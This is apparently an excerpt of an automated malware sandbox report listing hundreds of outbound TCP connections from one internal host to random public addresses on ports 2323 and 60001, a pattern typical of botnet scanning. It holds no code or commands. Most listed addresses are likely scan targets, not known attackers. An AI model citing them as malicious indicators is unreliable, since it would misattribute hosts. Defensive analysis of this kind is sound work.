Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 53.140.253.164:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 105.18.136.120:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 47.199.200.41:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 163.140.24.2:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 72.100.199.25:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 68.140.167.253:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 115.116.75.75:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 76.20.70.153:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 79.43.68.114:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 37.207.197.71:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 38.21.173.197:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 141.51.98.209:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 52.92.182.71:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 53.237.190.244:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 19.209.45.78:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 83.135.185.112:2323
Source: global traffic	TCP traffic: 192.168.2.23:48182 -> 104.244.72.234:64938
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 221.253.101.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 80.139.20.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.133.22.101:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.92.241.20:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 34.202.11.64:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 75.146.12.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 52.111.50.136:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 66.249.56.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 129.148.253.155:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 64.69.111.65:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 136.62.58.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.196.92.30:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.1.26.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.7.133.205:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 50.57.32.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 196.37.4.82:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 182.240.115.147:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.157.2.41:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.139.192.159:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 113.41.82.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 116.168.10.136:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 203.175.139.20:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 117.81.190.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 98.92.252.192:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 146.5.55.152:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.214.46.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 154.113.81.142:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 59.22.167.61:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 67.240.160.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.15.69.126:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 218.127.75.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 44.79.77.229:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 38.175.214.91:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.247.77.95:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 193.0.48.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 164.155.157.111:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.7.92.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.223.49.164:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 101.40.149.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 191.156.228.136:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 133.218.252.29:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.46.140.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 82.125.79.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 122.159.93.94:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 4.107.241.45:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 35.111.1.254:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 54.253.96.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 184.207.18.5:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 118.136.82.156:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.127.114.252:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 67.249.211.161:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.172.4.16:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.180.219.133:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.48.213.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 97.253.81.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 82.157.184.117:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.74.229.95:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.15.150.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 154.245.111.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.20.23.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 169.150.29.242:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 137.173.179.25:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 125.190.197.192:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.54.79.72:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 187.152.109.126:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 165.17.162.69:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 77.160.157.62:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.115.223.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 37.157.13.62:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 47.87.41.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 135.74.100.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 97.125.9.11:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 149.43.19.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 129.220.67.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.107.138.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 152.62.163.72:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 121.101.226.122:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 162.172.24.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.24.224.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 141.162.57.187:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 118.8.148.22:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 166.16.135.196:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 152.250.207.34:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 23.236.26.230:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 85.247.181.104:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 133.98.166.233:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 74.208.31.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 20.127.201.152:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 194.250.248.90:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 87.221.211.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 77.11.105.244:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 110.196.71.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 54.235.34.214:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 164.34.2.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 112.101.44.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 109.132.142.101:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 105.107.224.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 131.126.43.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 112.106.78.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 117.19.251.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 92.121.123.23:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 40.60.150.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 32.63.131.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 60.71.28.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 80.200.28.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 107.149.30.29:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.131.251.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 206.239.117.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.60.181.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 139.132.128.75:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 189.136.46.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 134.222.111.200:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 90.135.7.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 2.137.190.155:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 146.84.100.182:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 130.156.239.43:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 170.30.151.233:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 125.212.53.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 109.102.43.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 143.64.142.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 83.71.172.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.235.187.116:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 83.85.154.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.237.172.91:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 202.231.159.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 123.244.142.184:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 31.124.201.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 160.216.8.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 95.111.16.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 142.228.82.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 63.194.106.55:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 46.142.39.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.225.82.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 193.250.115.161:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.65.89.102:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 37.206.128.235:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.61.87.96:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.69.15.239:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 210.46.123.184:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 170.218.249.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 131.138.85.106:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 66.101.58.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 130.14.122.190:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.2.189.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 180.231.149.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 190.22.240.126:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 98.125.105.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 86.254.67.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 57.115.164.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 130.63.17.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 221.245.29.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 76.56.12.56:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 20.123.168.198:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 141.235.45.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.139.62.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 20.39.226.39:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.12.158.100:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 204.44.219.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 140.185.162.36:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 174.125.122.106:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 95.90.94.159:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 223.210.238.167:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 44.167.16.105:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 167.82.185.56:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.219.220.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 146.20.76.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 169.242.22.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 57.19.193.18:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 138.34.1.61:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 31.228.86.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.44.164.156:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 206.208.57.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.210.171.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 96.185.5.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 73.58.115.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 169.127.66.117:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.41.110.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 18.239.164.48:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 110.233.190.57:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.91.26.196:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 81.75.13.127:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 79.244.238.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 37.63.49.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 24.160.233.177:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 34.213.51.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 189.168.12.149:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 167.80.90.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 118.18.141.36:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 18.25.252.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 4.204.155.119:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 87.37.151.48:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.208.254.64:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 177.65.107.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 94.75.198.108:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 115.75.158.120:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 123.143.60.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.200.160.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 147.69.145.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.218.172.97:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 12.100.118.13:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 80.53.187.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 137.146.155.94:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 146.62.112.75:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.232.206.197:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 218.28.228.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 36.135.154.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 81.35.97.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 161.181.223.130:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 149.231.185.161:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 44.75.131.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 66.61.152.144:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.210.245.101:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 83.18.245.207:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 93.112.202.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 220.254.20.205:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 38.207.46.249:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 223.34.207.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 139.213.143.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.165.17.200:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 93.149.110.153:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 85.153.76.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.158.254.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 176.45.108.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 80.189.185.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 187.180.48.43:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 134.43.34.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 165.93.100.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 223.243.218.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 88.96.210.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 133.14.209.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 142.111.170.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 92.71.103.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 162.147.90.119:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 211.137.10.192:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 223.232.96.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 181.202.151.154:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 219.115.124.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 68.73.6.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 54.208.85.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.228.137.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.200.210.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 163.233.18.165:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 162.15.87.155:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 86.76.241.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 109.248.179.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 51.138.197.64:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 205.115.149.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.217.244.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.87.96.161:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 94.187.250.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 63.136.83.166:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 129.26.18.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 169.243.225.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 159.12.185.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 161.125.187.235:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 205.162.21.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 173.238.102.46:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.98.95.156:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.248.138.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 152.143.97.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 205.114.17.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 184.187.33.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 70.141.4.246:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 17.45.62.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 8.117.195.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 47.212.152.195:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 147.102.109.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.79.96.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.119.87.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 18.133.50.2:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 211.27.50.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 206.44.2.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 93.196.141.233:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.74.161.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 58.29.115.97:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 211.7.34.142:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 203.237.132.77:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 204.232.204.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 25.182.187.147:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.118.205.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 157.187.153.25:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 125.173.44.85:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 196.176.87.55:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 178.174.72.248:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 35.16.219.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 4.2.179.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 156.187.181.112:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.198.181.24:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 113.215.220.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.38.181.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 153.179.86.207:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 213.86.40.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 133.176.234.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 187.115.63.64:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.108.74.42:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.17.154.26:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 160.143.92.117:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 135.134.159.239:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 190.223.45.85:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 165.188.62.44:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 218.89.81.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 204.241.148.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 47.45.127.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.71.119.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.198.41.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 2.74.251.130:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 182.121.193.108:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 126.205.223.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.251.254.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 174.26.79.34:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 173.156.81.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 79.203.29.39:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 84.94.29.146:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.101.116.202:60001
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 123.195.104.58:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 17.70.7.83:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 74.28.100.202:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 143.32.92.250:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 52.79.231.71:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 57.112.70.8:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 130.133.22.58:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 169.109.118.134:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 88.208.187.157:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 14.116.233.190:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 4.43.172.83:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 194.65.212.156:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 70.138.187.241:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 113.195.150.196:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 95.121.124.186:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 61.70.250.122:2323
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 86.170.53.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 180.248.8.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 203.176.45.183:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 122.53.132.229:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.49.84.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 92.124.60.252:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 115.52.224.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 60.60.41.162:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 106.172.163.198:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 65.70.167.105:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 111.130.207.205:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.40.96.250:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.163.216.8:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 94.253.181.187:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 182.98.239.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 58.52.166.56:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 59.41.45.224:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 158.248.3.160:60001
